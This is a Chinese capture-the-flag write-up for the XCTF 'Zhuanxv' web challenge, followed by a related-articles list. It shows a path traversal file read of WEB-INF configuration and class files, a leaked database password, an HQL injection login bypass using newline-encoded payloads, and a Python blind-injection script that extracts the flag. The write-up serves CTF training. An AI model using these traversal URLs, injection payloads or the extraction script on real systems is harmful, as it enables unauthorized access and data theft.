• 攻防世界-web-Zhuanxv(任意文件读取、万能密钥、sql盲注 )


    题目来源:XCTF 4th-SCTF-2018
    题目描述:你只是在扫描目标端口的时候发现了一个开放的web服务

    进入场景后是一个显示时间的页面

    使用dirsearch扫描一下,发现隐藏目录list。命令:

    python3 dirsearch.py -u http://220.249.52.133:43210/ -e *

    访问list目录,发现是一个后台登录页面

    抓包发现背景图片是从后台加载的一张图片

    或者从网页源代码也可以看出

    猜测这里可能有文件读取漏洞。

    cookie中的JSESSIONID说明这是一个java web,那么我们尝试读取一下配置文件web.xml

    浏览器输入

    http://220.249.52.133:43210/loadimage?fileName=../../WEB-INF/web.xml

    回车,下载下来一个bg.jpg,使用Notepad++打开,内容如下

    <?xml version="1.0" encoding="UTF-8"?>
    <web-app id="WebApp_9" version="2.4"
             xmlns="http://java.sun.com/xml/ns/j2ee"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
        <display-name>Struts Blank</display-name>
        <filter>
            <filter-name>struts2</filter-name>
            <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
        </filter>
        <filter-mapping>
            <filter-name>struts2</filter-name>
            <url-pattern>/*</url-pattern>
        </filter-mapping>
        <welcome-file-list>
            <welcome-file>/ctfpage/index.jsp</welcome-file>
        </welcome-file-list>
        <error-page>
            <error-code>404</error-code>
            <location>/ctfpage/404.html</location>
        </error-page>
    </web-app>

    可以看到,系统使用了struts2框架。

    struts.xml是struts2的核心配置文件,在开发过程中利用率最高。该文件主要负责管理应用中的Action映射,以及该Action包含的Result定义等。

    下面我们读取struts.xml看看,浏览器输入

    http://220.249.52.133:43210/loadimage?fileName=../../WEB-INF/classes/struts.xml

    回车,下载下来一个bg.jpg,使用Notepad++打开,内容如下

    <?xml version="1.0" encoding="UTF-8"?>
    
    <!DOCTYPE struts PUBLIC
            "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
            "http://struts.apache.org/dtds/struts-2.3.dtd">
    <struts>
        <constant name="strutsenableDynamicMethodInvocation" value="false"/>
        <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
        <constant name="struts.action.extension" value=","/>
        <package name="front" namespace="/" extends="struts-default">
            <global-exception-mappings>
                <exception-mapping exception="java.lang.Exception" result="error"/>
            </global-exception-mappings>
            <action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
                <result name="error">/ctfpage/login.jsp</result>
                <result name="success">/ctfpage/welcome.jsp</result>
            </action>
            <action name="loadimage" class="com.cuitctf.action.DownloadAction">
                <result name="success" type="stream">
                    <param name="contentType">image/jpeg</param>
                    <param name="contentDisposition">attachment;filename="bg.jpg"</param>
                    <param name="inputName">downloadFile</param>
                </result>
                <result name="suffix_error">/ctfpage/welcome.jsp</result>
            </action>
        </package>
        <package name="back" namespace="/" extends="struts-default">
            <interceptors>
                <interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
                <interceptor-stack name="userAuth">
                    <interceptor-ref name="defaultStack" />
                    <interceptor-ref name="oa" />
                </interceptor-stack>
    
            </interceptors>
            <action name="list" class="com.cuitctf.action.AdminAction" method="execute">
                <interceptor-ref name="userAuth">
                    <param name="excludeMethods">
                        execute
                    </param>
                </interceptor-ref>
                <result name="login_error">/ctfpage/login.jsp</result>
                <result name="list_error">/ctfpage/welcome.jsp</result>
                <result name="success">/ctfpage/welcome.jsp</result>
            </action>
        </package>
    </struts>

    这里class里面可以看到很多class类名,尝试了一下,都可以逐个下载,点号换成正斜杠,然后再在后面加个.class就可以下载了

    loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class
    loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/DownloadAction.class
    loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/UserOAuth.class
    loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/AdminAction.class

    由于下载下来的class文件无法正常阅读,我们需要将其反编译成java源代码。

    打开jd-gui工具,将class文件直接拖进去即可。

    挨个查看了一下,没发现什么有用的信息,倒是UserLoginAction.class里面引入了3个其他的类,同样的办法继续下载

    loadimage?fileName=../../WEB-INF/classes/com/cuitctf/po/User.class
    loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/UserService.class
    loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/InitApplicationContext.class

    依次打开后,我们在InitApplicationContext.class里找到了一个applicationContext.xml文件名。

    下载

    http://220.249.52.133:43210/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml

    内容如下

    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
            <property name="driverClassName">
                <value>com.mysql.jdbc.Driver</value>
            </property>
            <property name="url">
                <value>jdbc:mysql://localhost:3306/sctf</value>
            </property>
            <property name="username" value="root"/>
            <property name="password" value="root" />
        </bean>
        <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
            <property name="dataSource">
                <ref bean="dataSource"/>
            </property>
            <property name="mappingLocations">
                <value>user.hbm.xml</value>
            </property>
            <property name="hibernateProperties">
                <props>
                    <prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
                    <prop key="hibernate.show_sql">true</prop>
                </props>
            </property>
        </bean>
        <bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
            <property name="sessionFactory">
                <ref bean="sessionFactory"/>
            </property>
        </bean>
        <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
            <property name="sessionFactory">
                <ref bean="sessionFactory"/>
            </property>
        </bean>
        <bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
            <property name="transactionManager">
                <ref bean="transactionManager"/>
            </property>
            <property name="transactionAttributes">
                <props>
                    <prop key="add">PROPAGATION_REQUIRED</prop>
                    <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
                </props>
            </property>
        </bean>
        <bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
            <property name="hibernateTemplate">
                <ref bean="hibernateTemplate"/>
            </property>
        </bean>
        <bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
            <property name="userDao">
                <ref bean="userDAO"/>
            </property>
        </bean>
    </beans>

    这里暴露了数据库的端口用户名密码,尝试远程连接数据库,失败。

    我们发现这里还有一个user.hbm.xml以及很多class类名,那我们继续下载查看

    loadimage?fileName=../../WEB-INF/classes/user.hbm.xml
    loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/impl/UserServiceImpl.class
    loadimage?fileName=../../WEB-INF/classes/com/cuitctf/dao/impl/UserDaoImpl.class

    从UserServiceImpl.class里,我们可以看到,系统对用户名进行了过滤,过滤了空格和等号。

    从UserDaoImpl.class里,我们可以看到查询语句,这里使用的sql语句与mysql不太一样,使用的是HSQL。

    hsql参考这篇文章,与mysql语句差别不大,但是也是有区别的

    https://www.cnblogs.com/fengyouheng/p/11013013.html

    可以尝试构造万能密码

    from User where name ='admin' or '1'>'0' or name like 'admin' and password = '" + password + "'

    黄色部分就是拼接的语句,由于这里过滤了空格,可以考虑用换行符%0A替代空格绕过过滤

    payload:

    用户名:admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin
    密码:123(随意)

    登录成功,然而并没有找到flag。

    再看一下之前下载的user.hbm.xml文件内容,发现了flag的映射类。

    <?xml version="1.0"?>
    <!DOCTYPE hibernate-mapping PUBLIC
            "-//Hibernate/Hibernate Mapping DTD 3.0//EN"
            "http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">
    <hibernate-mapping package="com.cuitctf.po">
        <class name="User" table="hlj_members">
            <id name="id" column="user_id">
                <generator class="identity"/>
            </id>
            <property name="name"/>
            <property name="password"/>
        </class>
        <class name="Flag" table="bc3fa8be0db46a3610db3ca0ec794c0b">
            <id name="flag" column="welcometoourctf">
                <generator class="identity"/>
            </id>
            <property name="flag"/>
        </class>
    </hibernate-mapping>

    至此,我们知道,flag在数据库中。

    由于万能密钥成功登录的原因是'1'>'0'恒成立,我们可以在此处写payload构造盲注语句,爆破flag。

    官方wp如下

    import requests
    s=requests.session()
    
    flag=''
    for i in range(1,50):
        p=''
        for j in range(1,255):
            payload = "(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'"
            #print payload
            url="http://220.249.52.133:33772/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
            r1=s.get(url)
            #print url
            #print len(r1.text)
            if len(r1.text)>20000 and p!='':
                flag+=p
                print i,flag
                break
            p=chr(j)

    跑出来flag为:sctf{C46E250926A2DFFD831975396222B08E} 

    坦白说,这个脚本中payload的where id<2我不明白是什么意思,后来我尝试了一下,将payload中的where id<2删除后再爆破,发现也能成功。猜想Flag表中应该只有一个id列。

    参考:https://www.cnblogs.com/mke2fs/p/11519039.html

  • 相关阅读:
    C++输入输出缓冲区的刷新问题
    C++11中新特性之:initializer_list详解
    GCC --verbose选项, -lpthread 和-pthread的区别
    C语言的可变参数
    YCM的安装与配置
    【机器学习】正则化的线性回归 —— 岭回归与Lasso回归
    一文读懂线性回归、岭回归和Lasso回归
    美团酒旅数据治理实践
    kettle完成一个数据库到另一个数据的整体迁移
    kettle完成一个数据库到另一个数据的整体迁移
  • 原文地址:https://www.cnblogs.com/zhengna/p/13684201.html
Copyright © 2020-2023  润新知